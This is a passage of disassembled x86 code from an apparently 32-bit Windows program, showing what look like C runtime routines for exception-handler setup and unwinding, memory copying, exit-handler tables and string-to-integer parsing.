[esp+24h+var_24] push 0Ch push 8 jmp short loc_416076 ; --------------------------------------------------------------------------- loc_416039: ; CODE XREF: sub_415FB3+2Fj call sub_419CB3 fstp [ebp+var_8] fld [ebp+var_8] fcomp [ebp+arg_0] pop ecx pop ecx fnstsw ax sahf jnz short loc_41605C loc_41604E: ; CODE XREF: sub_415FB3+ACj push esi push ebx call sub_419E26 fld [ebp+var_8] pop ecx pop ecx jmp short loc_41607E ; --------------------------------------------------------------------------- loc_41605C: ; CODE XREF: sub_415FB3+99j test bl, 20h jnz short loc_41604E fld [ebp+var_8] push ebx ; int push ecx push ecx ; double fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx ; double fstp [esp+24h+var_24] push 0Ch ; int push 10h ; int loc_416076: ; CODE XREF: sub_415FB3+84j call sub_419651 add esp, 1Ch loc_41607E: ; CODE XREF: sub_415FB3+59j ; sub_415FB3+67j ... pop esi pop ebx leave retn sub_415FB3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416082 proc near ; CODE XREF: sub_41A74E+71p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi push edi mov eax, [ebp+arg_4] add eax, 0Ch mov [ebp+var_4], eax mov ebx, large fs:0 mov eax, [ebx] mov large fs:0, eax mov eax, [ebp+arg_0] mov ebx, [ebp+arg_4] mov esp, [ebx-4] mov ebp, [ebp+var_4] jmp eax sub_416082 endp ; --------------------------------------------------------------------------- pop edi pop esi pop ebx leave retn 8 ; =============== S U B R O U T I N E ======================================= sub_4160B6 proc near ; CODE XREF: sub_41A8FF+199p ; sub_41AAC3+3Ep arg_4 = dword ptr 8 pop eax pop ecx xchg eax, [esp-8+arg_4] jmp eax sub_4160B6 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4160BD proc near ; CODE XREF: sub_41A8FF+17Fp arg_4 = dword ptr 8 pop eax pop ecx xchg eax, [esp-8+arg_4] jmp eax sub_4160BD endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4160C4 proc near ; CODE XREF: sub_416276+5Cp ; sub_41A74E:loc_41A77Fp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push ebx push esi push edi mov eax, large fs:0 mov [ebp+var_8], eax mov [ebp+var_4], offset loc_4160EC push 0 push [ebp+arg_4] push [ebp+var_4] push [ebp+arg_0] call sub_42010C loc_4160EC: ; DATA XREF: sub_4160C4+11o mov eax, [ebp+arg_4] mov eax, [eax+4] and al, 0FDh mov ecx, [ebp+arg_4] mov [ecx+4], eax mov eax, large fs:0 mov ebx, [ebp+var_8] mov [ebx], eax mov large fs:0, ebx pop edi pop esi pop ebx leave retn 8 sub_4160C4 endp ; --------------------------------------------------------------------------- loc_416113: ; CODE XREF: .nsp0:00420268j ; .nsp0:00420285j ... push ebp mov ebp, esp sub esp, 4 push ebx push esi push edi cld mov [ebp-4], eax xor eax, eax push eax push eax push eax push dword ptr [ebp-4] push dword ptr [ebp+14h] push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call sub_41A353 add esp, 20h mov [ebp+14h], eax pop edi pop esi pop ebx mov eax, [ebp+14h] mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416149 proc near ; CODE XREF: sub_41A7C9+73p var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 14h mov eax, [ebp+arg_4] and [ebp+var_14], 0 mov ecx, [ebp+arg_0] mov [ebp+var_C], eax mov eax, [ebp+arg_C] mov [ebp+var_10], offset sub_41619D inc eax mov [ebp+var_8], ecx mov [ebp+var_4], eax mov eax, large fs:0 mov [ebp+var_14], eax lea eax, [ebp+var_14] mov large fs:0, eax push [ebp+arg_10] push ecx push [ebp+arg_8] call sub_41AB50 mov ecx, eax mov eax, [ebp+var_14] mov large fs:0, eax mov eax, ecx leave retn sub_416149 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41619D proc near ; DATA XREF: sub_416149+16o arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cld mov eax, [ebp+arg_4] push 0 push eax push dword ptr [eax+10h] push dword ptr [eax+8] push 0 push [ebp+arg_8] push dword ptr [eax+0Ch] push [ebp+arg_0] call sub_41A353 add esp, 20h pop ebp retn sub_41619D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4161C2 proc near ; CODE XREF: sub_41A595+25p var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 34h push ebx push esi push edi and [ebp+var_28], 0 mov [ebp+var_24], offset sub_416276 mov eax, [ebp+arg_10] mov [ebp+var_20], eax mov eax, [ebp+arg_4] mov [ebp+var_1C], eax mov eax, [ebp+arg_14] mov [ebp+var_18], eax mov eax, [ebp+arg_18] mov [ebp+var_14], eax and [ebp+var_10], 0 and [ebp+var_C], 0 and [ebp+var_8], 0 and [ebp+var_4], 0 mov [ebp+var_10], offset loc_416248 mov [ebp+var_C], esp mov [ebp+var_8], ebp mov eax, large fs:0 mov [ebp+var_28], eax lea eax, [ebp+var_28] mov large fs:0, eax mov [ebp+var_34], 1 mov eax, [ebp+arg_0] mov [ebp+var_30], eax mov eax, [ebp+arg_8] mov [ebp+var_2C], eax lea eax, [ebp+var_30] push eax mov eax, [ebp+arg_0] push dword ptr [eax] call dword_469534 pop ecx pop ecx and [ebp+var_34], 0 loc_416248: ; DATA XREF: sub_4161C2+3Co cmp [ebp+var_4], 0 jz short loc_416265 mov ebx, large fs:0 mov eax, [ebx] mov ebx, [ebp+var_28] mov [ebx], eax mov large fs:0, ebx jmp short loc_41626E ; --------------------------------------------------------------------------- loc_416265: ; CODE XREF: sub_4161C2+8Aj mov eax, [ebp+var_28] mov large fs:0, eax loc_41626E: ; CODE XREF: sub_4161C2+A1j mov eax, [ebp+var_34] pop edi pop esi pop ebx leave retn sub_4161C2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416276 proc near ; DATA XREF: sub_4161C2+Do arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi push edi cld mov eax, [ebp+arg_0] mov eax, [eax+4] and eax, 66h test eax, eax jz short loc_416299 mov eax, [ebp+arg_4] mov dword ptr [eax+24h], 1 push 1 pop eax jmp short loc_4162E6 ; --------------------------------------------------------------------------- loc_416299: ; CODE XREF: sub_416276+12j push 1 mov eax, [ebp+arg_4] push dword ptr [eax+14h] mov eax, [ebp+arg_4] push dword ptr [eax+10h] mov eax, [ebp+arg_4] push dword ptr [eax+8] push 0 push [ebp+arg_8] mov eax, [ebp+arg_4] push dword ptr [eax+0Ch] push [ebp+arg_0] call sub_41A353 add esp, 20h mov eax, [ebp+arg_4] cmp dword ptr [eax+24h], 0 jnz short loc_4162D7 push [ebp+arg_0] push [ebp+arg_4] call sub_4160C4 loc_4162D7: ; CODE XREF: sub_416276+54j mov ebx, [ebp+arg_4] mov esp, [ebx+1Ch] mov ebp, [ebx+20h] jmp dword ptr [ebx+18h] ; --------------------------------------------------------------------------- push 1 pop eax loc_4162E6: ; CODE XREF: sub_416276+21j pop edi pop esi pop ebx pop ebp retn sub_416276 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4162EB proc near ; CODE XREF: sub_41A3EE+C6p ; sub_41A595+43p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx push ebx push esi cmp [ebp+arg_4], 0 push edi mov edi, [ebp+arg_0] mov esi, [edi+0Ch] mov ebx, [edi+10h] mov eax, esi mov [ebp+arg_0], esi mov [ebp+var_4], eax jl short loc_416342 loc_416309: ; CODE XREF: sub_4162EB+52j cmp esi, 0FFFFFFFFh jnz short loc_416313 call sub_41ABF2 loc_416313: ; CODE XREF: sub_4162EB+21j mov ecx, [ebp+arg_8] dec esi lea eax, [esi+esi*4] cmp [ebx+eax*4+4], ecx lea eax, [ebx+eax*4] jge short loc_416328 cmp ecx, [eax+8] jle short loc_41632D loc_416328: ; CODE XREF: sub_4162EB+36j cmp esi, 0FFFFFFFFh jnz short loc_416339 loc_41632D: ; CODE XREF: sub_4162EB+3Bj mov eax, [ebp+arg_0] dec [ebp+arg_4] mov [ebp+var_4], eax mov [ebp+arg_0], esi loc_416339: ; CODE XREF: sub_4162EB+40j cmp [ebp+arg_4], 0 jge short loc_416309 mov eax, [ebp+var_4] loc_416342: ; CODE XREF: sub_4162EB+1Cj mov ecx, [ebp+arg_C] inc esi mov [ecx], esi mov ecx, [ebp+arg_10] mov [ecx], eax cmp eax, [edi+0Ch] ja short loc_416356 cmp esi, eax jbe short loc_41635B loc_416356: ; CODE XREF: sub_4162EB+65j call sub_41ABF2 loc_41635B: ; CODE XREF: sub_4162EB+69j lea eax, [esi+esi*4] pop edi pop esi lea eax, [ebx+eax*4] pop ebx leave retn sub_4162EB endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416368 proc near ; CODE XREF: sub_41CE08+5Ap arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx push esi push edi push ebp push 0 push 0 push offset loc_416380 push [ebp+arg_0] call sub_42010C loc_416380: ; DATA XREF: sub_416368+Bo pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_416368 endp ; =============== S U B R O U T I N E ======================================= sub_416388 proc near ; DATA XREF: sub_4163AA+Ao ; sub_416412+9o arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_C = dword ptr 10h mov ecx, [esp+arg_0] test dword ptr [ecx+4], 6 mov eax, 1 jz short locret_4163A9 mov eax, [esp+arg_4] mov edx, [esp+arg_C] mov [edx], eax mov eax, 3 locret_4163A9: ; CODE XREF: sub_416388+10j retn sub_416388 endp ; =============== S U B R O U T I N E ======================================= sub_4163AA proc near ; CODE XREF: sub_41A86F+Dp ; sub_41CE08+67p ... var_14 = dword ptr -14h arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi push edi mov eax, [esp+0Ch+arg_0] push eax push 0FFFFFFFEh push offset sub_416388 push large dword ptr fs:0 mov large fs:0, esp loc_4163C7: ; CODE XREF: sub_4163AA:loc_416402j mov eax, [esp+1Ch+arg_0] mov ebx, [eax+8] mov esi, [eax+0Ch] cmp esi, 0FFFFFFFFh jz short loc_416404 cmp esi, [esp+1Ch+arg_4] jz short loc_416404 lea esi, [esi+esi*2] mov ecx, [ebx+esi*4] mov [esp+1Ch+var_14], ecx mov [eax+0Ch], ecx cmp dword ptr [ebx+esi*4+4], 0 jnz short loc_416402 push 101h mov eax, [ebx+esi*4+8] call sub_41643E call dword ptr [ebx+esi*4+8] loc_416402: ; CODE XREF: sub_4163AA+44j jmp short loc_4163C7 ; --------------------------------------------------------------------------- loc_416404: ; CODE XREF: sub_4163AA+2Aj ; sub_4163AA+30j pop large dword ptr fs:0 add esp, 0Ch pop edi pop esi pop ebx retn sub_4163AA endp ; =============== S U B R O U T I N E ======================================= sub_416412 proc near ; CODE XREF: sub_41A88F+37p xor eax, eax mov ecx, large fs:0 cmp dword ptr [ecx+4], offset sub_416388 jnz short locret_416434 mov edx, [ecx+0Ch] mov edx, [edx+0Ch] cmp [ecx+8], edx jnz short locret_416434 mov eax, 1 locret_416434: ; CODE XREF: sub_416412+10j ; sub_416412+1Bj retn sub_416412 endp ; =============== S U B R O U T I N E ======================================= sub_416435 proc near ; CODE XREF: sub_41AB50+1Ep ; sub_41AB50+40p push ebx push ecx mov ebx, offset dword_437D6C jmp short loc_416448 sub_416435 endp ; =============== S U B R O U T I N E ======================================= sub_41643E proc near ; CODE XREF: sub_4163AA+4Fp ; sub_41CE08+78p push ebx push ecx mov ebx, offset dword_437D6C mov ecx, [ebp+8] loc_416448: ; CODE XREF: sub_416435+7j mov [ebx+8], ecx mov [ebx+4], eax mov [ebx+0Ch], ebp pop ecx pop ebx retn 4 sub_41643E endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_416458 proc near ; CODE XREF: sub_4046AA+5p ; sub_40484C+5p ... push 0FFFFFFFFh push eax mov eax, large fs:0 push eax mov eax, [esp+0Ch] mov large fs:0, esp mov [esp+0Ch], ebp lea ebp, [esp+0Ch] push eax retn sub_416458 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_416477 proc near ; CODE XREF: sub_404D21+26p ; .nsp0:0041FEE5p ... arg_0 = dword ptr 4 push [esp+arg_0] call sub_415E3D pop ecx retn sub_416477 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416490 proc near ; CODE XREF: sub_404D92+3Ap ; sub_418B28+2EEp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi mov esi, [ebp+arg_4] mov ecx, [ebp+arg_8] mov edi, [ebp+arg_0] mov eax, ecx mov edx, ecx add eax, esi cmp edi, esi jbe short loc_4164B0 cmp edi, eax jb loc_416628 loc_4164B0: ; CODE XREF: sub_416490+16j test edi, 3 jnz short loc_4164CC shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_4164EC rep movsd jmp off_4165D8[edx*4] ; --------------------------------------------------------------------------- loc_4164CC: ; CODE XREF: sub_416490+26j mov eax, edi mov edx, 3 sub ecx, 4 jb short loc_4164E4 and eax, 3 add ecx, eax jmp dword ptr loc_4164EC+4[eax*4] ; --------------------------------------------------------------------------- loc_4164E4: ; CODE XREF: sub_416490+46j jmp dword ptr loc_4165E8[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_4164EC: ; CODE XREF: sub_416490+31j ; sub_416490+8Ej ... jmp off_41656C[ecx*4] ; --------------------------------------------------------------------------- db 90h dd offset loc_416500 dd offset loc_41652C dd offset loc_416550 ; --------------------------------------------------------------------------- loc_416500: ; DATA XREF: sub_416490+64o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al add esi, 3 add edi, 3 cmp ecx, 8 jb short loc_4164EC rep movsd jmp off_4165D8[edx*4] ; --------------------------------------------------------------------------- align 4 loc_41652C: ; DATA XREF: sub_416490+68o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al add esi, 2 add edi, 2 cmp ecx, 8 jb short loc_4164EC rep movsd jmp off_4165D8[edx*4] ; --------------------------------------------------------------------------- align 10h loc_416550: ; DATA XREF: sub_416490+6Co and edx, ecx mov al, [esi] mov [edi], al inc esi shr ecx, 2 inc edi cmp ecx, 8 jb short loc_4164EC rep movsd jmp off_4165D8[edx*4] ; --------------------------------------------------------------------------- align 4 off_41656C dd offset loc_4165CF ; DATA XREF: sub_416490:loc_4164ECr dd offset loc_4165BC dd offset loc_4165B4 dd offset loc_4165AC dd offset loc_4165A4 dd offset loc_41659C dd offset loc_416594 dd offset loc_41658C ; --------------------------------------------------------------------------- loc_41658C: ; CODE XREF: sub_416490:loc_4164ECj ; DATA XREF: sub_416490+F8o mov eax, [esi+ecx*4-1Ch] mov [edi+ecx*4-1Ch], eax loc_416594: ; CODE XREF: sub_416490:loc_4164ECj ; DATA XREF: sub_416490+F4o mov eax, [esi+ecx*4-18h] mov [edi+ecx*4-18h], eax loc_41659C: ; CODE XREF: sub_416490:loc_4164ECj ; DATA XREF: sub_416490+F0o mov eax, [esi+ecx*4-14h] mov [edi+ecx*4-14h], eax loc_4165A4: ; CODE XREF: sub_416490:loc_4164ECj ; DATA XREF: sub_416490+ECo mov eax, [esi+ecx*4-10h] mov [edi+ecx*4-10h], eax loc_4165AC: ; CODE XREF: sub_416490:loc_4164ECj ; DATA XREF: sub_416490+E8o mov eax, [esi+ecx*4-0Ch] mov [edi+ecx*4-0Ch], eax loc_4165B4: ; CODE XREF: sub_416490:loc_4164ECj ; DATA XREF: sub_416490+E4o mov eax, [esi+ecx*4-8] mov [edi+ecx*4-8], eax loc_4165BC: ; CODE XREF: sub_416490:loc_4164ECj ; DATA XREF: sub_416490+E0o mov eax, [esi+ecx*4-4] mov [edi+ecx*4-4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_4165CF: ; CODE XREF: sub_416490:loc_4164ECj ; DATA XREF: sub_416490:off_41656Co jmp off_4165D8[edx*4] ; --------------------------------------------------------------------------- align 4 off_4165D8 dd offset loc_4165E8 ; DATA XREF: sub_416490+35r ; sub_416490+92r ... dd offset loc_4165F0 dd offset loc_4165FC dd offset loc_416610 ; --------------------------------------------------------------------------- loc_4165E8: ; CODE XREF: sub_416490+35j ; sub_416490+92j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_4165F0: ; CODE XREF: sub_416490+35j ; sub_416490+92j ... mov al, [esi] mov [edi], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_4165FC: ; CODE XREF: sub_416490+35j ; sub_416490+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_416610: ; CODE XREF: sub_416490+35j ; sub_416490+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_416628: ; CODE XREF: sub_416490+1Aj lea esi, [ecx+esi-4] lea edi, [ecx+edi-4] test edi, 3 jnz short loc_41665C shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_416650 std rep movsd cld jmp off_416770[edx*4] ; --------------------------------------------------------------------------- align 10h loc_416650: ; CODE XREF: sub_416490+1B1j ; sub_416490+208j ... neg ecx jmp off_416720[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41665C: ; CODE XREF: sub_416490+1A6j mov eax, edi mov edx, 3 cmp ecx, 4 jb short loc_416674 and eax, 3 sub ecx, eax jmp dword ptr loc_416674+4[eax*4] ; --------------------------------------------------------------------------- loc_416674: ; CODE XREF: sub_416490+1D6j ; DATA XREF: sub_416490+1DDr jmp off_416770[ecx*4] ; --------------------------------------------------------------------------- align 4 mov [esi+41h], ah add [eax-2FFFBE9Ah], ch inc cx add [edx-2EDCFCBAh], cl mov [edi+3], al dec esi shr ecx, 2 dec edi cmp ecx, 8 jb short loc_416650 std rep movsd cld jmp off_416770[edx*4] ; --------------------------------------------------------------------------- align 4 mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al sub esi, 2 sub edi, 2 cmp ecx, 8 jb short loc_416650 std rep movsd cld jmp off_416770[edx*4] ; --------------------------------------------------------------------------- align 10h mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al sub esi, 3 sub edi, 3 cmp ecx, 8 jb loc_416650 std rep movsd cld jmp off_416770[edx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_416724 dd offset loc_41672C dd offset loc_416734 dd offset loc_41673C dd offset loc_416744 dd offset loc_41674C dd offset loc_416754 off_416720 dd offset loc_416767 ; DATA XREF: sub_416490+1C2r ; --------------------------------------------------------------------------- loc_416724: ; DATA XREF: sub_416490+274o mov eax, [esi+ecx*4+1Ch] mov [edi+ecx*4+1Ch], eax loc_41672C: ; DATA XREF: sub_416490+278o mov eax, [esi+ecx*4+18h] mov [edi+ecx*4+18h], eax loc_416734: ; DATA XREF: sub_416490+27Co mov eax, [esi+ecx*4+14h] mov [edi+ecx*4+14h], eax loc_41673C: ; DATA XREF: sub_416490+280o mov eax, [esi+ecx*4+10h] mov [edi+ecx*4+10h], eax loc_416744: ; DATA XREF: sub_416490+284o mov eax, [esi+ecx*4+0Ch] mov [edi+ecx*4+0Ch], eax loc_41674C: ; DATA XREF: sub_416490+288o mov eax, [esi+ecx*4+8] mov [edi+ecx*4+8], eax loc_416754: ; DATA XREF: sub_416490+28Co mov eax, [esi+ecx*4+4] mov [edi+ecx*4+4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_416767: ; CODE XREF: sub_416490+1C2j ; DATA XREF: sub_416490:off_416720o jmp off_416770[edx*4] ; --------------------------------------------------------------------------- align 10h off_416770 dd offset loc_416780 ; DATA XREF: sub_416490+1B7r ; sub_416490:loc_416674r ... dd offset loc_416788 dd offset loc_416798 dd offset loc_4167AC ; --------------------------------------------------------------------------- loc_416780: ; CODE XREF: sub_416490+1B7j ; sub_416490:loc_416674j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_416788: ; CODE XREF: sub_416490+1B7j ; sub_416490:loc_416674j ... mov al, [esi+3] mov [edi+3], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_416798: ; CODE XREF: sub_416490+1B7j ; sub_416490:loc_416674j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_4167AC: ; CODE XREF: sub_416490+1B7j ; sub_416490:loc_416674j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn sub_416490 endp ; =============== S U B R O U T I N E ======================================= sub_4167C5 proc near ; CODE XREF: sub_404DF9+34p ; sub_404DF9+4Fp ... arg_0 = dword ptr 4 push 1 push [esp+4+arg_0] call sub_415DDB pop ecx pop ecx retn sub_4167C5 endp ; =============== S U B R O U T I N E ======================================= sub_4167D3 proc near ; CODE XREF: sub_416840+4p arg_0 = dword ptr 4 push esi push dword_46AB34 call sub_41AC48 mov edx, dword_46AB34 pop ecx mov ecx, dword_46AB30 mov esi, ecx sub esi, edx add esi, 4 cmp eax, esi pop esi jnb short loc_416832 push edx call sub_41AC48 add eax, 10h push eax push dword_46AB34 call sub_4174DF add esp, 0Ch test eax, eax jnz short loc_416815 retn ; --------------------------------------------------------------------------- loc_416815: ; CODE XREF: sub_4167D3+3Fj mov ecx, dword_46AB30 sub ecx, dword_46AB34 mov dword_46AB34, eax sar ecx, 2 lea ecx, [eax+ecx*4] mov dword_46AB30, ecx loc_416832: ; CODE XREF: sub_4167D3+23j mov eax, [esp+arg_0] mov [ecx], eax add dword_46AB30, 4 retn sub_4167D3 endp ; =============== S U B R O U T I N E ======================================= sub_416840 proc near ; CODE XREF: sub_404EE6+1Ap ; sub_4200EE+5p ... arg_0 = dword ptr 4 push [esp+arg_0] call sub_4167D3 neg eax sbb eax, eax pop ecx neg eax dec eax retn sub_416840 endp ; =============== S U B R O U T I N E ======================================= sub_416852 proc near ; DATA XREF: .nsp0:00423018o push 80h call sub_415DC9 test eax, eax pop ecx mov dword_46AB34, eax jnz short loc_416873 push 18h call sub_417BEE mov eax, dword_46AB34 pop ecx loc_416873: ; CODE XREF: sub_416852+12j and dword ptr [eax], 0 mov eax, dword_46AB34 mov dword_46AB30, eax retn sub_416852 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416881 proc near ; CODE XREF: sub_416A89+Ep var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 0Ch push ebx and [ebp+var_8], 0 push esi push edi mov edi, [ebp+arg_0] mov bl, [edi] lea esi, [edi+1] mov [ebp+var_4], esi loc_416899: ; CODE XREF: sub_416881+46j cmp dword_437F9C, 1 jle short loc_4168B1 movzx eax, bl push 8 push eax call sub_418556 pop ecx pop ecx jmp short loc_4168C0 ; --------------------------------------------------------------------------- loc_4168B1: ; CODE XREF: sub_416881+1Fj mov ecx, off_437D90 movzx eax, bl mov al, [ecx+eax*2] and eax, 8 loc_4168C0: ; CODE XREF: sub_416881+2Ej test eax, eax jz short loc_4168C9 mov bl, [esi] inc esi jmp short loc_416899 ; --------------------------------------------------------------------------- loc_4168C9: ; CODE XREF: sub_416881+41j cmp bl, 2Dh mov [ebp+var_4], esi jnz short loc_4168D7 or [ebp+arg_C], 2 jmp short loc_4168DC ; --------------------------------------------------------------------------- loc_4168D7: ; CODE XREF: sub_416881+4Ej cmp bl, 2Bh jnz short loc_4168E2 loc_4168DC: ; CODE XREF: sub_416881+54j mov bl, [esi] inc esi mov [ebp+var_4], esi loc_4168E2: ; CODE XREF: sub_416881+59j mov eax, [ebp+arg_8] test eax, eax jl loc_416A79 cmp eax, 1 jz loc_416A79 cmp eax, 24h jg loc_416A79 push 10h test eax, eax pop ecx jnz short loc_41692A cmp bl, 30h jz short loc_416914 mov [ebp+arg_8], 0Ah jmp short loc_416946 ; --------------------------------------------------------------------------- loc_416914: ; CODE XREF: sub_416881+88j mov al, [esi] cmp al, 78h jz short loc_416927 cmp al, 58h jz short loc_416927 mov [ebp+arg_8], 8 jmp short loc_416946 ; --------------------------------------------------------------------------- loc_416927: ; CODE XREF: sub_416881+97j ; sub_416881+9Bj mov [ebp+arg_8], ecx loc_41692A: ; CODE XREF: sub_416881+83j cmp [ebp+arg_8], ecx jnz short loc_416946 cmp bl, 30h jnz short loc_416946 mov al, [esi] cmp al, 78h jz short loc_41693E cmp al, 58h jnz short loc_416946 loc_41693E: ; CODE XREF: sub_416881+B7j mov bl, [esi+1] inc esi inc esi mov [ebp+var_4], esi loc_416946: ; CODE XREF: sub_416881+91j ; sub_416881+A4j ... or eax, 0FFFFFFFFh xor edx, edx div [ebp+arg_8] mov edi, 103h mov [ebp+var_C], eax loc_416956: ; CODE XREF: sub_416881+16Cj cmp dword_437F9C, 1 movzx esi, bl jle short loc_41696E push 4 push esi call sub_418556 pop ecx pop ecx jmp short loc_416979 ; --------------------------------------------------------------------------- loc_41696E: ; CODE XREF: sub_416881+DFj mov eax, off_437D90 mov al, [eax+esi*2] and eax, 4 loc_416979: ; CODE XREF: sub_416881+EBj test eax, eax jz short loc_416985 movsx ecx, bl sub ecx, 30h jmp short loc_4169B7 ; --------------------------------------------------------------------------- loc_416985: ; CODE XREF: sub_416881+FAj cmp dword_437F9C, 1 jle short loc_416999 push edi push esi call sub_418556 pop ecx pop ecx jmp short loc_4169A4 ; --------------------------------------------------------------------------- loc_416999: ; CODE XREF: sub_416881+10Bj mov eax, off_437D90 mov ax, [eax+esi*2] and eax, edi loc_4169A4: ; CODE XREF: sub_416881+116j test eax, eax jz short loc_4169F2 movsx eax, bl push eax call sub_41AC71 pop ecx mov ecx, eax sub ecx, 37h loc_4169B7: ; CODE XREF: sub_416881+102j cmp ecx, [ebp+arg_8] jnb short loc_4169F2 mov esi, [ebp+var_8] or [ebp+arg_C], 8 cmp esi, [ebp+var_C] jb short loc_4169DC jnz short loc_4169D6 or eax, 0FFFFFFFFh xor edx, edx div [ebp+arg_8] cmp ecx, edx jbe short loc_4169DC loc_4169D6: ; CODE XREF: sub_416881+147j or [ebp+arg_C], 4 jmp short loc_4169E5 ; --------------------------------------------------------------------------- loc_4169DC: ; CODE XREF: sub_416881+145j ; sub_416881+153j imul esi, [ebp+arg_8] add esi, ecx mov [ebp+var_8], esi loc_4169E5: ; CODE XREF: sub_416881+159j mov eax, [ebp+var_4] inc [ebp+var_4] mov bl, [eax] jmp loc_416956 ; --------------------------------------------------------------------------- loc_4169F2: ; CODE XREF: sub_416881+125j ; sub_416881+139j mov ecx, [ebp+arg_C] dec [ebp+var_4] mov edx, [ebp+arg_4] test cl, 8 jnz short loc_416A10 test edx, edx jz short loc_416A0A mov eax, [ebp+arg_0] mov [ebp+var_4], eax loc_416A0A: ; CODE XREF: sub_416881+181j and [ebp+var_8], 0 jmp short loc_416A5D ; --------------------------------------------------------------------------- loc_416A10: ; CODE XREF: sub_416881+17Dj test cl, 4 mov eax, 7FFFFFFFh jnz short loc_416A36 test cl, 1 jnz short loc_416A5D and ecx, 2 jz short loc_416A2D cmp [ebp+var_8], 80000000h ja short loc_416A36 loc_416A2D: ; CODE XREF: sub_416881+1A1j test ecx, ecx jnz short loc_416A5D cmp [ebp+var_8], eax jbe short loc_416A5D loc_416A36: ; CODE XREF: sub_416881+197j ; sub_416881+1AAj test byte ptr [ebp+arg_C], 1 mov dword_4694B4, 22h jz short loc_416A4C or [ebp+var_8], 0FFFFFFFFh jmp short loc_416A5D ; --------------------------------------------------------------------------- loc_416A4C: ; CODE XREF: sub_416881+1C3j mov ecx, [ebp+arg_C] and cl, 2 neg cl sbb ecx, 